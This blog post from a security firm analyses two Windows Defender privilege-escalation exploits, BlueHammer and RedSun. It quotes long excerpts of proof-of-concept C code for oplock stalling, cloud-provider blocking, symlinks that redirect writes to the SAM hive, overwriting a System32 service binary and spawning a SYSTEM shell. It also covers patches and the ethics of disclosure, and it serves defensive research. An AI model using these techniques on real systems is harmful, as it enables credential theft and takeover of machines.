Offensive

BlueHammer and RedSun analysed

This article takes a closer look at two recent vulnerabilities – BlueHammer and RedSun – and explains why they have attracted so much attention.


In the past few months, a security researcher that goes by the name of Chaotic Eclipse has published several serious Windows vulnerabilities, including several Local Privilege Escalation (LPE) attack vectors and a BitLocker encryption bypass. These vulnerabilities were published by uploading the proof-of-concept code directly to GitHub to repositories belonging to the user Nightmare-Eclipse. The exact motivation of this researcher remains unclear, and the Nightmare-Eclipse account has since been deleted by Microsoft. In this blog entry, we will take a closer look at two of these vulnerabilities - BlueHammer and RedSun - and why they have been so prominent within the cyber security community.

Vulnerability Overview

At the time of writing, there are six vulnerabilities that have been published by Chaotic Eclipse:

  • BlueHammer - CVE-2026-33825 - LPE vulnerability that exploits a time-of-check to time-of-use (TOCTOU) race condition in Windows Defender's threat remediation logic.
  • UnDefend - CVE-2026-45498 - silent degradation of Windows Defender's detection mechanisms.
  • RedSun - CVE-2026-41091 - LPE vulnerability that exploits Windows Defender's behavior when reviewing detections related to cloud-tagged files.
  • YellowKey - CVE-2026-45585 - BitLocker encryption bypass via a prepared USB drive.
  • GreenPlasma - No CVE identifier at time of writing - technique for abusing CTFMON object paths.
  • MiniPlasma - CVE-2020-17103 - LPE via exploitation of a vulnerability in the Cloud Filter driver.

All these exploits share an exploitation pattern: find questionable behavior within a trusted Windows component and abuse it to trick the component into performing a malicious operation in an elevated context, e.g. overwriting a system binary with an attacker-controlled one or dumping locally stored password hashes. This suggests an intimate knowledge of Windows components by the researcher, which in turn most likely means that these findings are the result of months, if not years, of research. This is also the reason why it took Microsoft a considerable amount of time to fix these issues. These are not simple oversights in program logic, but exploitation of program behavior of trusted Windows components.

BlueHammer

BlueHammer is the first vulnerability published by Chaotic Eclipse. It operates by exploiting a TOCTOU race condition that arises when Defender performs an update, while simulataneously analyzing a detection. The core issue is that Defender validates the file path at the time of checking a file, but does not revalidate the path at the time of the actual file operation.


bluehammer-1

The exploit starts by checking for Defender signature updates and retrieving an update's title once it has been detected. This will be used later on in the exploit to provide an update for Defender to write.

            
                   

printf("Checking for windows defender signature updates...\n");

while (!CheckForWDUpdates(updtitle, &criterr)){

if (criterr)

goto cleanup;

printf("No updates found for windows defender. Recheking in 30 seconds...\n");

Sleep(30000);

}

printf("Found Update : \n%ws\n", updtitle);

Afterwards, a file containing the EICAR string is created in a temporary working directory. This file will then be used to trigger a Defender detection.

            
                   

hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);

[...]

trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Before a detection is triggered, the exploit opens RstrtMgr.dll and acquires a batch opportunistic lock on it. This is an important step, since whenever Defender prepares to remediate a threat, it calls the Restart Manager to check whether any processes have a lock on the malicious file. By acquiring a batch oplock on the DLL, the kernel will suspend Defender's open operation on it until the exploit releases the oplock and also signal to the exploit process that Defender has begun its remediation process.

            
                   

ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);

[...]

hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

[...]

DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

 After the exploit has received a signal from the kernel, it proceeds to create a separate thread that will register a non-existant cloud file sync provider and configure a Volume Shadow Copy directory as a sync root under this provider. This will block Defender's access to the Volume Shadow Copy Service (VSS), since the hydration policy CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED  requires every file access to be validated by the corresponding cloud provider. Since the cloud provider in this scenario is the exploit itself, it will not validate and thereby block Defender. 

            
                   

hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);

[...]

CF_SYNC_REGISTRATION cfreg = { 0 };

cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);

cfreg.ProviderName = L"IHATEMICROSOFT";

cfreg.ProviderVersion = L"1.0";

CF_SYNC_POLICIES syncpolicy = { 0 };

syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);

syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;

syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;

syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;

syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;

syncpolicy.InSync = CF_INSYNC_POLICY_NONE;

[...]

hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);

[...]

DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

[...]

GetOverlappedResult(hlock, &ovd, &nwf, TRUE);

printf("WD is frozen and the new VSS can be used.\n");

 Defender is now blocked at two points: on the open operation on RstrtMgr.dll  and by the Cloud File provider. At this point, the exploit plants two NT object manager symlinks. The first symlink points Defender's update staging directory, WDUpdateDirectory,  to an attacker-controlled destination. The second points mpasbase.vdm, Defender's main signature definition file, to \\Windows\\System32\\Config\\SAM.

            
                   

UNICODE_STRING _unisrc = { 0 };

RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");

OBJECT_ATTRIBUTES _smobjattr = { 0 };

InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);

UNICODE_STRING _unidest = { 0 };

RtlInitUnicodeString(&_unidest, objdirpath);

ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);

[...]

RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");

ZeroMemory(nttargetfile, sizeof(nttargetfile));

wcscpy(nttargetfile, fullvsspath);

wcscat(nttargetfile, filestoleak[x]);

RtlInitUnicodeString(&objlinktarget, nttargetfile);

InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);

 

ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);

The final piece of the setup is an RPC call to Defender, which triggers a definition update via an undocumented LRPC interface - IMpService. This call instructs Defender to process a definition update from the attacker-controlled directory.

            
                   

RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding)

With this setup in place, the following will happen after Defender is unblocked:

  • Defender follows the symlinks planted by the attacker to perform a definition update
  • Defender rertrieves an update supplied by an attacker and tries to write it to its staging directory, which points to an attacker-controlled directory
  • Defender writes the update to its signature definition file, which now points to SAM

In the end, Defender effectively dumps SAM to an attacker-controlled directory. This file can then be used to e.g. takeover a local adminitrator's account.


RedSun

The RedSun vulnerability is similar to BlueHammer. The difference is that it exploits a different Defender behavior. When Defender detects and analyzes suspicious files that are cloud-tagged, it then writes them back to the location where they were found at the time of detection. This is another TOCTOU race condition, as Defender does not validate the file path at the time of the writeback operation, meaning that if the path is changed between the moment Defender read the path at detection time and the time the writeback operation takes place, Defender will write the file to the modified location with its elevated rights.

redsun-1

The exploit starts by opening a named pipe for later communication with a privileged process. It will essentially tell the exploit where to place the resulting SYSTEM shell and facilitates communication between the attacker's low-privileged session and the SYSTEM process launched by the exploit.

            
                   

HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);

The exploit then proceeds in a similar manner to BlueHammer - a batch oplock is placed in a separate thread on a Volume Shadow Copy of a file, where the EICAR string will later be written. This file will then be opened with the FILE_EXECUTE flag, which will trigger a detection, and Defender will be suspended due to the oplock previously placed on the file. The main thread and the new thread synchronize on the `gevent` handle.

            
                   

DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

[...]

HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hfile == INVALID_HANDLE_VALUE)

{

printf("Failed create spoof work file.\n");

return 1;

}

char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";

rev(eicar);

DWORD nwf = 0;

WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);

 

// trigger AV response

CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

[...]

SetEvent(gevent);

ResetEvent(gevent);

GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);

 

WaitForSingleObject(gevent, INFINITE);

 

CloseHandle(hlk);

WakeByAddressAll(&gevent);

CloseHandle(gevent);

gevent = NULL;

While Defender stalls, the exploit registers a Cloud File provider with a partial hydration policy. This policy allows cloud-backed files to exist on the filesystem as stubs, without the kernel demanding full hydration before any file operations proceed. The sync root of this provider is placed in the same working directory, where the EICAR file triggered a detection. A placeholder file is created in the sync root with the same name as the EICAR file. The reason for setting up this "cloud infrastructure" is to trigger Defender's writeback behavior for cloud files, and swap out the cloud directory with a NT object manager symlink to a Windows directory containing a service binary.

            
                   

CF_SYNC_REGISTRATION cfreg = { 0 };

cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);

cfreg.ProviderName = L"SERIOUSLYMSFT";

cfreg.ProviderVersion = L"1.0";

CF_SYNC_POLICIES syncpolicy = { 0 };

syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);

syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;

syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;

[...]

CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };

placeholder[0].RelativeFileName = filename;

placeholder[0].FsMetadata = fsmetadata;

[...]

hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);

if (hs)

{

printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);

return;

}

With the cloud syncroot in place, the first oplock is released. The entire directory containing the file that triggered the detection is then moved to a temporary directory. A fresh working directory without any cloud attributes is re-created in its place, along with a new "spoof work file" at the same location Defender was originally trying to open. This file is named identically to a Windows service binary (TieringEngineService.exe), and will trigger Defender to perform a privileged open operation on the service binary. A batch oplock is then immeaditely placed on this new file. This oplock stalls defender again on opening the "cloud file" that has been swapped in.

            
                   

SetEvent(gevent);

 

WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);

[...]

wchar_t _tmp[MAX_PATH] = { 0 };

wsprintf(_tmp, L"\\??\\%s.TMP", workdir);

MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);

if (!CreateDirectory(workdir, NULL))

{

printf("Failed to re-create directory.\n");

return 1;

}

LARGE_INTEGER fsz = { 0 };

fsz.QuadPart = 0x1000;

stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);

[...]

DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); 

Afterwards, a reparse point is created that points to C:\Windows\System32. Any process that traverses a path via the exploit's working directory now resolves to C:\Windows\System32. In particular, once the second oplock is released, Defender will follow this path into System32.

            
                   

wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };

DWORD targetsz = wcslen(rptarget) * 2;

DWORD printnamesz = 1 * 2;

DWORD pathbuffersz = targetsz + printnamesz + 12;

DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;

REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);

rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;

rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);

rdb->Reserved = NULL;

rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;

rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);

memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);

rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);

rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);

memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);

DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL); 

Once the second oplock is released and Defender's privileged open finishes, a retry loop starts that wins a race condition against Defender's write. The FILE_SUPERSEDE flag is crucial when acquiring the file handle. This flag signals that the file write does not simply replace the file's content, but completely replaces the file, both its contents along with associated data. In particular, the attacker's token is written as the file's creator. This will later allow the exploit to start the associated service.

            
                   

for (int i = 0; i < 1000; i++)

{

wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };

UNICODE_STRING _malpath = { 0 };

RtlInitUnicodeString(&_malpath, malpath);

OBJECT_ATTRIBUTES objattr2 = { 0 };

InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);

IO_STATUS_BLOCK iostat = { 0 };

stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);

if (!stat)

break;

Sleep(20);

}

Once a file handle is returned, the payload is copied to the system directory. In the code snippet below, mx is the currently running binary, which overwrites the TieringEngineService.exe service binary. This binary is then launched in the LaunchTierManagementEng method.

            
                   

wchar_t mx[MAX_PATH] = { 0 };

GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);

wchar_t mx2[MAX_PATH] = { 0 };

ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);

CopyFile(mx, mx2, FALSE);

LaunchTierManagementEng(); 

The service is initialized with the GUID of the original TieringEngineService.exe service (Storage Tiering Management Engine) as an out-of-process COM server via the CLSCTX_LOCAL_SERVER flag in the LaunchTierManagementEng method. The process actually running is the RedSun exploit.

            
                   

CoInitialize(NULL);

GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };

void* ret = NULL;

HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);

 

CoUninitialize();

RedSun checks if it is running in an elevated context in the IsRunningAsLocalSystem method. If it is, it attempts to launch a console and place it in the attacker's session via the named pipe created at the start of the exploitation process.

            
                   

bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);

if (ret) {

LaunchConsoleInSessionId();

ExitProcess(0);

}

The SYSTEM process then connects to the named pipe created earlier. The attacker's session ID is stamped onto a duplicated token via the SetTokenInformation method. A connhost.exe process is then created with this token and a SYSTEM shell appears in the attacker's session.

            
                   

HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

[...]

HANDLE htoken = NULL;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))

return;

HANDLE hnewtoken = NULL;

bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);

[...]

res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));

[...]

CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

 

Mitigations And Closing Thoughts

Since the exploits were published on GitHub, Microsoft has released security updates for both exploits. Therefore, the mitigation for both exploits is to simply install the corresponding security patches for Windows.

These vulnerabilities, however, are not only interesting from a research standpoint, but also highlight a trend in exploit development that has been ongoing for years. More and more zero-days have appeared in the last few years that focus on exploiting program behavior and interaction with other system components, rather than flaws in program logic. The two vulnerabilities analyzed in this blog entry are particularly insidious, since they target a component that should be trusted without hesitation or second thought - antivirus software. If you cannot trust your antivirus software, i.e. the entity that is supposed to detect threats and protect your systems from them, then what can you trust?

"It's the oldest question of all, George. Who can spy on the spies?"

- John le Carré

This issue highlights the importance of thorough testing in regards to critical components, such as antivirus and EDR software. Such components should not only be tested in terms of code consistency, but also interactively, with other system components. It is not enough to be able to say "our software does not contain any vulnerabilities". The requirement now is "our software does not contain any vulnerabilities and cannot be used to create vulnerabilities".

Another issue being discussed are the rules of engagement regarding vulnerability disclosure. Chaotic Eclipse has published proof-of-concept code for these vulnerabilities without coordinating their efforts with Microsoft. The researcher has stated their reasoning for this in a blog post:

"Normally, I would go through the process of begging them to fix a bug but to summarize, I was told personally by them that they will ruin my life and they did and I'm not sure if I was the only who had this horride experience or few people did but I think most would just eat it and cut their losses but for me, they took away everything."

- Nightmare Eclipse Blog

Some view this behavior as reckless, since these exploits have been used in real-world attacks, resulting in considerable damage to companies and individuals that have nothing to do with the researcher's conflict with Microsoft. On the other hand, some argue that if their story is true, then they were left with no other choice than to "go public" with their findings, since it is better that everyone know about the existence of these vulnerabilities, than for them to be quietly swept under the rug, and, perhaps later be discovered by more nefarious actors.

Regardless of one's thoughts on this situation, it definitely feels like the cyber security reasearch landscape will experience some serious changes in the coming months.

If you would like to read further technical insights into the remaining vulnerabilities, or if you have any questions, feedback or project requirements, please feel free to contact research@avantguard.io  at any time.

References 

Similar posts